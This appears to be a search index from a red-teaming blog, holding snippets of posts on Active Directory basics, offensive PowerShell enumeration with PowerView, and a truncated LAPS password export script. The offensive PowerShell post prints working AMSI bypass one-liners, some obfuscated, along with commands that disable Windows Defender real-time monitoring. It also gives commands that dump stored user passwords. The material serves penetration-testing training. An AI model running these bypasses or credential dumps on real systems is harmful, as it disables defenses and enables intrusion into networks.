need to change is the file path.Exploitation Just Open Powershell and paste this script $Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime$computers | Export-Csv -path c:\\temp\\"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation Then, save it to the location of your choice. For this example, I’m saving to C:\\Scripts\\LAPSexport.ps1 Then, run the script to verify it works correctly. If it does, you should automate this procedure by creating a Scheduled Task.References https://tryhackme.com/room/windowsprivescarena https://docs.microsoft.com/en-us/If you find my articles interesting, you can buy me a coffee" }, { "title": "Active Directory - Offensive PowerShell", "url": "/posts/Offensive-powershell/", "categories": "Red-Teaming, Active-Directory-Offensive-PowerShell", "tags": "active-directory, active-directory-enumeration, offensive-powershell, powershell, amsi-bypass, real-time-monitoring-bypass, bloodhound, trusts-enumeration, GPO-enumeration, ACL-enumeration", "date": "2022-03-30 09:21:00 +0530", "snippet": "IntroductionWelcome to my second article in the Red Teaming Series (Offensive PowerShell). I hope everyone has gone through the first article of this series which explains the basic foundations and concepts required to understand Active Directory.If not so, you can give it a read from here.This guide aims to explain the complete basics to advance enumeration code snippets in Offensive PowerShell and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.This article will not contain any Attacking PowerShell snippets, ie. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket. The following topics will be covered in a later article.I will cover the following topics under this guide: Introduction to PowerShell Bypassing AMSI and Real-Time-monitoring Basic Enumeration GPO Enumeration ACL Enumeration Trusts Enumeration BloodHound Enumeration Throughout the article, I will use PowerView, which is based on Powershell, to show how to retrieve information from Active Directory.This article has been created with references from a few other articlesAll used references for completing this article will be listed below.—Introduction to PowerShellWhat is PowershellPowershell is the Windows Scripting Language and shell environment that is built using the .NET framework.This also allows Powershell to execute .NET functions directly from its shell. Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects - making Powershell somewhat object oriented. This also means that running cmdlets allows you to perform actions on the output object(which makes it convenient to pass output from one cmdlet to another). The normal format of a cmdlet is represented using Verb-Noun; for example the cmdlet to list commands is called Get-Command.Common verbs to use include: Get Start Stop Read Write New OutUsing Get-HelpGet-Help displays information about a cmdlet. To get help about a particular command, run the following:Get-Help Command-NameYou can also understand how exactly to use the command by passing in the -examples flag. This would return output like the following:Using Get-CommandGet-Command gets all the cmdlets installed on the current Computer. The great thing about this cmdlet is that it allows for pattern matching like the followingGet-Command Verb-*# ORGet-Command *-NounRunning the following to view all the cmdlets for the verb new displays the following:Get-Command New-*Object ManipulationIn the previous task, we saw how the output of every cmdlet is an object. If we want to actually manipulate the output, we need to figure out a few things: passing output to other cmdlets using specific object cmdlets to extract informationThe Pipeline(|) is used to pass output from one cmdlet to another. A major difference compared to other shells is that instead of passing text or string to the command after the pipe, powershell passes an object to the next cmdlet. Like every object in object oriented frameworks, an object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet. To view these details, pass the output of a cmdlet to the Get-Member cmdletVerb-Noun | Get-MemberAn example of running this to view the members for Get-Command is:Get-Command | Get-Member -MemberType MethodFrom the above flag in the command, you can see that you can also select between methods and properties.Creating Objects From Previous cmdletsOne way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.Here’s an example of listing the directories and just selecting the mode and the name:You can also use the following flags to select particular information: first - gets the first x object last - gets the last x object unique - shows the unique objects skip - skips x objectsFiltering ObjectsWhen retrieving output objects, you may want to select objects that match a very specific value. You can do this using the Where-Object to filter based on the value of properties.The general format of the using this cmdlet isVerb-Noun | Where-Object -Property PropertyName -operator Value# ORVerb-Noun | Where-Object {$_.PropertyName -operator Value}The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.Powershell is quite sensitive so make sure you don’t put quotes around the command!Where -operator is a list of the following operators: -Contains: if any item in the property value is an exact match for the specified value -EQ: if the property value is the same as the specified value -GT: if the property value is greater than the specified valueFor a full list of operators, use this link.Here’s an example of checking the stopped processes:Sort ObjectWhen a cmdlet outputs a lot of information, you may need to sort it to extract the information more efficiently. You do this by pipe lining the output of a cmdlet to the Sort-Object cmdlet.The format of the command would beVerb-Noun | Sort-ObjectHere’s an example of sort the list of directories:Bypassing AMSI and Real-Time-monitoringOnce we get Initial access to our victim machine, we can upload our PowerShell scripts to start the enumeration process. We may notice that our shells get killed or fail at uploading because AV catches them.Even tho AV evasion is a massive topic in itself. I will provide a brief explanation.The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.”For more information about AMSI, check out the Windows docs, https://docs.microsoft.com/en-us/windows/win32/amsi/Find an example of how data flows inside of Windows security features below.AMSI will send different response codes based on the results of its scans. Find a list of response codes from AMSI below. AMSI_RESULT_CLEAN = 0 AMSI_RESULT_NOT_DETECTED = 1 AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384 AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479 AMSI_RESULT_DETECTED = 32768AMSI is fully integrated into the following Windows components. User Account Control, or UAC PowerShell Windows Script Host (wscript and cscript) JavaScript and VBScript Office VBA macrosAMSI is instrumented in both System.Management.Automation.dll and within the CLR itself. When inside the CLR, it is assumed that Defender is already being instrumented; this means AMSI will only be called when loaded from memory.We can look at what PowerShell security features physically look like and are written using InsecurePowerShell, https://github.com/PowerShell/PowerShell/compare/master…cobbr:master maintained by Cobbr. InsecurePowerShell is a GitHub repository of PowerShell with security features removed; this means we can look through the compared commits and identify any security features. AMSI is only instrumented in twelve lines of code undersrc/System.Management.Automation/engine/runtime/CompiledScriptBlock.csFind the C# code used to instrument AMSI below.var scriptExtent = scriptBlockAst.Extent; if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED) { var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent); throw new ParseException(new[] { parseError }); } if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null) { HasSuspiciousContent = true; }Third-parties can also instrument AMSI in their products using the methods outlined below. AMSI Win32 API, https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions AMSI COM Interface, https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistreamBypass AMSINow that we understand the basics of AMSI and how its instrumented, we can begin bypassing AMSI using PowerShell.There are a large number of bypasses for AMSI available, below are a list of few AMSI bypasses.# AMSI obfuscationsET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )#Base64[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)#On PowerShell 6[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)Bypass Real-Time-monitoringPowershell Set-MpPreference -DisableRealtimeMonitoring $truePowershell Set-MpPreference -DisableIOAVProtection $trueBasic EnumerationSince we bypassed AMSI and Real-Time protection, we can start with Domain Enumeration and map various entities, trusts, relationships and privileges for the target domain.PowerView EnumerationGet current domainGet-NetDomainGet object of another domainGet-NetDomain -Domain &lt;domain-name&gt;Get domain SID for the current domainGet-DomainSIDGet domain policy for the current domainGet-DomainPolicy(Get-DomainPolicy)."system access"Get domain policy for another domain(Get-DomainPolicy -domain &lt;domain-name&gt;)."system access"(Get-DomainPolicy -domain &lt;domain-name&gt;)."kerberos policy"(Get-DomainPolicy -domain &lt;domain-name&gt;)."Privilege Rights"# OR(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)(Get-DomainPolicy)."SystemAccess" #Password policy(Get-DomainPolicy).PrivilegeRights #Check your privileges Keep note of the kerberos policy as it will be required while making Golden Tickets using mimikats will require the same offsets else it will get blocked by the defendersGet domain controllers for the current domainGet-NetDomainControllerGet domain controllers for another domainGet-NetDomainController -Domain &lt;domain-name&gt;Get a list of users in the current domainGet-NetUserGet-NetUser -Username student1Get list of all properties for users in the current domainGet-UserPropertyGet-UserProperty -Properties pwdlastset,logoncount,badpwdcountGet-UserProperty -Properties logoncountGet-UserProperty -Properties badpwdcount If the logon count and the bad password count of a user is tending to 0 it might be a decoy account. If the password last set of a user was also long back it might be a decoy accountSearch for a particular string in a user’s attributesFind-UserField -SearchField Description -SearchTerm "built"Get a list of computers in the current domainGet-NetComputerGet-NetComputer -OperatingSystem "*Server 2016*"Get-NetComputer -PingGet-NetComputer -FullData Any computer administrator can create a computer object in the domain which is not an actual computer/Virtual-Machine but its object type is a computerGet all the groups in the current domainGet-NetGroupGet-NetGroup -Domain &lt;targetdomain&gt;Get-NetGroup -FullDataGet-NetComputer -DomainGet all groups containing the word “admin” in group nameGet-NetGroup *admin*Get-NetGroup -GroupName *admin*Get-NetGroup *admin* -FullDataGet-NetGroup -GroupName *admin* -Doamin &lt;domain-name&gt; Groups like “Enterprise Admins”,”Enterprise Key Admins”,etc will not be displayed in the above commands unless the domain is not specified because it is only available on the domain controllers of the forest rootGet all the members of the Domain Admins groupGet-NetGroupMember -GroupName "Domain Admins" -Recurse Make sure to check the RID which is the last few charachters of the SID of the member-user as the name of the member-user might be different/changed but the RID is uniqueFor example :It might be an Administrator account having a differnt/changed member-name but if you check the RID and it is “500” then it is an Administrator accountGet the group membership for a userGet-NetGroup -UserName "student1"List all the local groups on a machine (needs administrator privs on non-dc machines)Get-NetLocalGroup -ComputerName &lt;servername&gt; -ListGroupsGet members of all the local groups on a machine (needs administrator privs on non-dc machines)Get-NetLocalGroup -ComputerName &lt;servername&gt; -RecurseGet actively logged users on a computer (needs local admin rights on the target)Get-NetLoggedon -ComputerName &lt;servername&gt; Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)Get-LoggedonLocal -ComputerName &lt;servername&gt;Get the last logged user on a computer (needs administrative rights and remote registry on the target)Get-LastLoggedon -ComputerName &lt;servername&gt;Find shares on hosts in current domain.Invoke-ShareFinder -VerboseFind sensitive files on computers in the domainInvoke-FileFinder -VerboseGet all fileservers of the domainGet-NetFileServerGPO EnumerationGroup Policy provides the ability to manage configuration and changes easily and centrally in AD.Allows configuration of : Security settings Registry-based policy settings Group policy preferences like startup/shutdown/log-on/logoff scripts settings Software installationGPO can be abused for various attacks like privesc, backdoors, persistence etc.PowerView EnumerationGet list of GPO in current domain.Get-NetGPOGet-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.localGet-GPO -All (GroupPolicy module)Get-GPResultantSetOfPolicy -ReportType Html -Path C:\\Users\\Administrator\\report.html (Provides RSoP)gpresult /R /V (GroupPolicy Results of current machine)Get GPO(s) which use Restricted Groups or groups.xml for interesting usersGet-NetGPOGroup Get users which are in a local group of a machine using GPOFind-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.localGet machines where the given user is member of a specific groupFind-GPOLocation -Username student1 -VerboseGet OUs in a domainGet-NetOU -FullDataGet-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} # Get all computers inside an OU (StudentMachines in this case)Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOUGet-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module) Enumerate permissions for GPOs where users with RIDs of &gt; -1000 have some kind of modification/control rightsGet-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' ACL EnumerationThe Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on: Access Tokens (security context of a process — identity and privs of user) Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL)) It is a list of Access Control Entries (ACE) — ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object? Two types: DACL : Defines the permissions trustees (a user or group) have on an object. SACL : Logs success and failure audit messages when an object is accessed. ACLs are vital to security architecture of AD.PowerView EnumerationGet the ACLs associated with the specified objectGet-ObjectAcl -SamAccountName student1 -ResolveGUIDsGet the ACLs associated with the specified prefix to be used for searchGet-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -VerboseWe can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs(Get-Acl "AD:\\CN=Administrator, CN=&lt;name&gt;, DC=&lt;name&gt;, DC=&lt;name&gt;,DC=local").AccessGet the ACLs associated with the specified LDAP path to be used for searchGet-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=&lt;name&gt;,DC=&lt;name&gt;,DC=local" -ResolveGUIDs -VerboseSearch for interesting ACEsInvoke-ACLScanner -ResolveGUIDsGet the ACLs associated with the specified pathGet-PathAcl -Path "\\\\&lt;computer-name&gt;\\sysvol"Find intresting ACEs (Interesting permisions of “unexpected objects” (RID&gt;1000 and modify permissions) over other objectsFind-InterestingDomainAcl -ResolveGUIDs Check if any of the interesting permissions founds is realated to a username/groupFind-InterestingDomainAcl -ResolveGUIDs |?{$_.IdentityReference -match "RDPUsers"} Get special rights over All administrators in domainGet-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights Trusts Enumeration In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest. Trust can be automatic (parent-child, same forest etc.) or established (forest, external). Trusted Domain Objects (TDOs) represent the trust relationships in a domain.PowerView EnumerationGet all domain trusts (parent, children and external)Get-NetDomainTrustEnumerate all the trusts of all the domains foundGet-NetForestDomain | Get-NetDomainTrust Enumerate also all the trustsGet-DomainTrustMapping Get info of current forest (no external)Get-ForestGlobalCatalog Get info about the external forest (if possible)Get-ForestGlobalCatalog -Forest external.domain Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)Get-NetForestTrust Get users with privileges in other domains inside the forestGet-DomainForeingUser Get groups with privileges in other domains inside the forestGet-DomainForeignGroupMember Low Hanging FruitCheck if any user passwords are set$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | flAsks DC for all computers, and asks every computer if it has admin access (it would be a bit noisy). You need RCP and SMB ports opened.Find-LocalAdminAccess(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed..\\Find-WMILocalAdminAccess.ps1 -ComputerFile .\\computers.txtEnumerate machines where a particular user/group identity has local admin rightsGet-DomainGPOUserLocalGroupMapping -Identity &lt;User/Group&gt;Goes through the list of all computers (from DC) and executes Get-NetLocalGroup to search local admins (you need root privileges on non-dc hosts).Invoke-EnumerateLocalAdminSearch unconstrained delegation computers and show usersFind-DomainUserLocation -ComputerUnconstrained -ShowAllAdmin users that allow delegation, logged into servers that allow unconstrained delegationFind-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegationGet members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.Invoke-UserHunter -CheckAccessSearch “RDPUsers” usersInvoke-UserHunter -GroupName "RDPUsers"It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)Invoke-UserHunter -StealthBloodHound Enumeration Provides GUI for AD entities and relationships for the data collected by its ingestors. Uses Graph Theory for providing the capability of mapping shortest path for interesting things like Domain Admins. Source : https://github.com/BloodHoundAD/BloodHound There are built-in queries for frequently used actions. Also supports custom Cypher queries.SharpHound EnumerationWe can use SharpHound to collect the data, then use neo4j and bloodhound on our local machine and load the collected data.Supply data to BloodHoundThe generated archive can be uploaded to the BloodHound application.. .\\SharpHound.ps1Invoke-BloodHound -CollectionMethod All,LoggedOnTo avoid detections like ATAInvoke-BloodHound -CollectionMethod All -ExcludeDCStart neo4j and BloodHound UI on kali machine and load the zip/json files0xStarlight@kali$ sudo neo4j console0xStarlight@kali$ bloodhoundReferences Powershell Introdution from : https://tryhackme.com/room/powershell AMSI Brief from : https://tryhackme.com/room/hololiveIf you find my articles interesting, you can buy me a coffee" }, { "title": "Active Directory - Introduction", "url": "/posts/Active-Directory-Introduction/", "categories": "Red-Teaming, Active-Directory-Introduction", "tags": "active-directory, active-directory-introduction", "date": "2022-03-29 12:36:00 +0530", "snippet": "IntroductionWelcome to my first article in the Red Teaming Series (Active Directory Introduction). I hope to provide you all with information for an initial foundation and motivation about Active Directory, so let’s moveforward to learn other exciting aspects of the directory service developed by Microsoft to manage windows domain networks.This guide aims to explain the complete basics of Active Directory and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network.I will cover the following topics under this guide: Domain, Domain Controllers Trees, Forests Group Policy Object Access Control List Users + Groups Trusts Policies Throughout the article I will use PowerView which is based on Powershell to show how to retrieve information of Active Directory.This article has been created with references from a few other articles.All used references for completing this article will be listed below.—What is Active Directory?In a short description, an Active Directory is a system that allows the collection of machines and servers connected inside the same network from a central server(known as a Domain) that are a collective part of a bigger server(known as a forest) that make up the Active Directory network.It stores information related to objects, such as Computers, Users, Printers, etc. You can think about it as a phone book for Windows. One of its main purposes is for authentication using Kerberos tickets. Non-windows devices, such as Linux machines, firewalls, etc., can also authenticate to Active Directory via RADIUS or LDAP protocols.Active Directory contains many functioning bits and pieces, a majority of which we will be covering in the upcoming tasks.Why use Active Directory?The majority of large companies use Active Directory because it allows for controlling and monitoring their user’s computers through a single domain controller. It will enable a single user to sign in to any computer on the active directory network and have access to their stored files and folders in the server and the local storage on that machine. This allows any user in the company to use any machine that the company owns without setting up multiple users on a machine. Active Directory does it all for you.If this is still unclear, let me give you an example.Let’s take the example of Microsoft. It’s a worldwide company with millions of employees. Let’s focus on one building of Microsoft, which has about a thousand plus employees. Each of these employees is working on their workstations (Windows/Linux).This building might contain different departments like Market Research, Product Decisions, HR, IT, etc.Now imagine if one of the departments required a software update, or if one of the employees forgot their password, or one of the employees needed higher privileges to access view some content.It would be extremely tedious if the IT department tried to fix all the issues. But this issue can resolve if they have all the computers connected in an Active Directory network to perform all these operations under one hood.Domain ControllersFirst of all, I have been reffering an Active Directory network as a Domain. In brief, a domain is a set of connected computers that shares an Active Directory database, which is managed by the central servers of a domain, that are called Domain Controllers.A domain controller is a Windows server that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest. Domain controllers are the center of Active Directory , they control the rest of the domain. Outlineing some of the tasks of a domain controller below: Holds the AD DS data store Handles authentication and authorization services Replicate updates from other domain controllers in the forest Allows admin access to manage domain resourcesPowerView EnumerationWe can gather additional information about our target using PowerView Get current domain PS C:\\Tools&gt; Get-NetUseruser-dc.it.starlight.localuser-mssql.it.starlight.localuser-adminsrv.it.starlight.local Enumerate Domain Admins Get-NetDomain# See Attributes of the Domain Admins GroupGet-NetGroup -GroupName "Domain Admins" -FullData# Get Members of the Domain Admins groupGet-NetGroupMember -GroupName "Domain Admins" Active Directory DS Data StoreThe Active Directory Data Store holds the databases and processes needed to store and manage directory information such as users, groups, and services. Below is an outline of some of the contents and characteristics of the AD DS Data Store: Contains the NTDS.dit - a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users Stored by default in %SystemRoot%\\NTDS Accessible only by the domain controllerTreesA hierarchy of domains in Active Directory Domain Services are known as Trees.All the domains in the tree : Can share a contiguous namespace with the parent domain Can have additional child domains By default create a two-way transitive trust with other child domainsForestsActive-Directory-Basics-THM-RoomThe forest is what defines everything; it is the container that holds all of the other bits and pieces of the network together – without the forest all of the other trees and domains would not be able to interact. The one thing to note when thinking of the forest is to not think of it too literally – it is a physical thing just as much as it is a figurative thing. When we say “forest”, it is only a way of describing the connection created between these trees and domains by the network.Forest OverviewA forest is a collection of one or more domain trees inside of an Active Directory network. It is what categorizes the parts of the network as a whole.The Forest consists of these parts which we will go into farther detail with later: Trees - A hierarchy of domains in Active Directory Domain Services Domains - Used to group and manage objects Organizational Units (OUs) - Containers for groups, computers, users, printers and other OUs Trusts - Allows users to access resources in other domains Objects - users, groups, printers, computers, shares Domain Services - DNS Server, LLMNR, IPv6 Domain Schema - Rules for object creationGroup Policy ObjectGroup Policy provides the ability to manage configuration and changes easily and centrally in AD.Allows configuration of : Security settings Registry-based policy settings Group policy preferences like startup/shutdown/log-on/logoff scripts settings Software installationGPO can be abused for various attacks like privesc, backdoors, persistence etc.PowerView EnumerationWe can gather additional information about our target using PowerView Get list of GPO in current domain. Get-NetGPOGet-NetGPO -ComputerName &lt;computer-name&gt;Get-GPO -All (GroupPolicy module)Get-GPResultantSetOfPolicy -ReportType Html -Path C:\\Users\\Administrator\\report.html (Provides RSoP)gpresult /R /V (GroupPolicy Results of current machine) Get GPO(s) which use Restricted Groups or groups.xml for interesting users Get-NetGPOGroup Get users which are in a local group of a machine using GPO Find-GPOComputerAdmin -ComputerName &lt;computer-name&gt; Get machines where the given user is member of a specific group Find-GPOLocation -Username student1 -Verbose Get OUs in a domain Get-NetOU -FullData Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module) Access Control List The Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on: Access Tokens (security context of a process — identity and privs of user) Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL)) It is a list of Access Control Entries (ACE) — ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object? Two types: DACL : Defines the permissions trustees (a user or group) have on an object. SACL : Logs success and failure audit messages when an object is accessed. ACLs are vital to security architecture of AD.PowerView EnumerationWe can gather additional information about our target using PowerView Get the ACLs associated with the specified object Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs Get the ACLs associated with the specified prefix to be used for search Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs (Get-Acl "AD:\\CN=Administrator, CN=&lt;name&gt;, DC=&lt;name&gt;, DC=&lt;name&gt;,DC=local").Access Get the ACLs associated with the specified LDAP path to be used for search Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=&lt;name&gt;,DC=&lt;name&gt;,DC=local" -ResolveGUIDs -Verbose Search for interesting ACEs Invoke-ACLScanner -ResolveGUIDs Get the ACLs associated with the specified path Get-PathAcl -Path "\\\\&lt;computer-name&gt;\\sysvol" Users + GroupsThe users and groups that are inside of an Active Directory are up to you; when you create a domain controller it comes with default groups and two default users: Administrator and guest. It is up to you to create new users and create new groups to add users to.Users OverviewUsers are the core to Active Directory; without users why have Active Directory in the first place? There are four main types of users you’ll find in an Active Directory network; however, there can be more depending on how a company manages the permissions of its users. The four types of users are: Domain Admins - This is the big boss: they control the domains and are the only ones with access to the domain controller. Service Accounts (Can be Domain Admins) - These are for the most part never used except for service maintenance, they are required by Windows for services such as SQL to pair a service with a service account Local Administrators - These users can make changes to local machines as an administrator and may even be able to control other normal users, but they cannot access the domain controller Domain Users - These are your everyday users. They can log in on the machines they have the authorization to access and may have local administrator rights to machines depending on the organization.Groups OverviewGroups make it easier to give permissions to users and objects by organizing them into groups with specified permissions. There are two overarching types of Active Directory groups: Security Groups - These groups are used to specify permissions for a large number of users Distribution Groups - These groups are used to specify email distribution lists. As an attacker these groups are less beneficial to us but can still be beneficial in enumerationDefault Security GroupsThere are a lot of default security groups so I won’t be going into too much detail of each past a brief description of the permissions that they offer to the assigned group. Here is a brief outline of the security groups: Domain Controllers - All domain controllers in the domain Domain Guests - All domain guests Domain Users - All domain users Domain Computers - All workstations and servers joined to the domain Domain Admins - Designated administrators of the domain Enterprise Admins - Designated administrators of the enterprise Schema Admins - Designated administrators of the schema DNS Admins - DNS Administrators Group DNS Update Proxy - DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers). Allowed RODC Password Replication Group - Members in this group can have their passwords replicated to all read-only domain controllers in the domain Group Policy Creator Owners - Members in this group can modify group policy for the domain Denied RODC Password Replication Group - Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain Protected Users - Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information. Cert Publishers - Members of this group are permitted to publish certificates to the directory Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the domain Enterprise Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the enterprise Key Admins - Members of this group can perform administrative actions on key objects within the domain. Enterprise Key Admins - Members of this group can perform administrative actions on key objects within the forest. Cloneable Domain Controllers - Members of this group that are domain controllers may be cloned. RAS and IAS Servers - Servers in this group can access remote access properties of usersTrusts In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest. Trust can be automatic (parent-child, same forest etc.) or established (forest, external). Trusted Domain Objects (TDOs) represent the trust relationships in a domain.One-way trust One-way trust — Unidirectional. Users in the trusted domain can access resources in the trusting domain but the reverse is not true.Two-way trusts Two-way trust — Bi-directional. Users of both domains can access resources in the other domain.Trust Transitivity Transitive : Can be extended to establish trust relationships with other domains. All the default intra-forest trust relationships (Tree-root, Parent-Child) between domains within a same forest are transitive two-way trusts. Nontransitive — Cannot be extended to other domains in the forest. Can be two-way or one-way. This is the default trust (called external trust) between two domains in different forests when forests do not have a trust relationship. PowerView EnumerationWe can gather additional information about our target using PowerView Get a list of all domain trusts for the current domain Get-NetDomainTrustGet-NetDomainTrust -Domain &lt;domain-name&gt; Get details about the current forest Get-NetForestGet-NetForest -Forest &lt;forest-name&gt; Get all domains in the current forest Get-NetForestDomainGet-NetForestDomain -Forest &lt;forest-name&gt; Get all global catalogs for the current forest Get-NetForestCatalogGet-NetForestCatalog -Forest &lt;forest-name&gt; Map trusts of a forest Get-NetForestTrustGet-NetForestTrust -Forest &lt;forest-name&gt; Hunting for users who have Local Admin access using Powerview Find all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose This is very noiseThis function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess on each machine.This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases ports (RPC and SMB) used by Find-LocalAdminAccess are blocked.See Find-WMILocalAdminAccess.ps1This leaves a 4624 (log-on event) and 4634 (log-off event) on each and every object in the domain. Same for Blood-Hound. Find computers where a domain admin (or specified user/group) has sessions Invoke-UserHunterInvoke-UserHunter -GroupName "RDPUsers" This function queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember, gets a list of computers (Get-NetComputer) and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine. To confirm admin access Invoke-UserHunter -CheckAccess Find computers where a domain admin is logged-in Invoke-UserHunter -Stealth This option queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember, gets a list only of high traffic servers (DC, File Servers and Distributed File servers) for less traffic generation and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine. PoliciesThe Active Directory domain services are the core functions of an Active Directory network; they allow for management of the domain, security certificates, LDAPs, and much more. This is how the domain controller decides what it wants to do and what services it wants to provide for the domain.Domain Services OverviewDomain Services are exactly what they sound like. They are services that the domain controller provides to the rest of the domain or tree. There is a wide range of various services that can be added to a domain controller; however, in this room we’ll only be going over the default services that come when you set up a Windows server as a domain controller. Outlined below are the default domain services: LDAP - Lightweight Directory Access Protocol; provides communication between applications and directory services Certificate Services - allows the domain controller to create, validate, and revoke public key certificates DNS, LLMNR, NBT-NS - Domain Name Services for identifying IP hostnamesDomain Authentication OverviewThe most important part of Active Directory – as well as the most vulnerable part of Active Directory – is the authentication protocols set in place. There are two main types of authentication in place for Active Directory: NTLM and Kerberos. Since these will be covered in more depth in later rooms we will not be covering past the very basics needed to understand how they apply to Active Directory as a whole. Kerberos - The default authentication service for Active Directory uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain. NTLM - default Windows authentication protocol uses an encrypted challenge/response protocolThe Active Directory domain services are the main access point for attackers and contain some of the most vulnerable protocols for 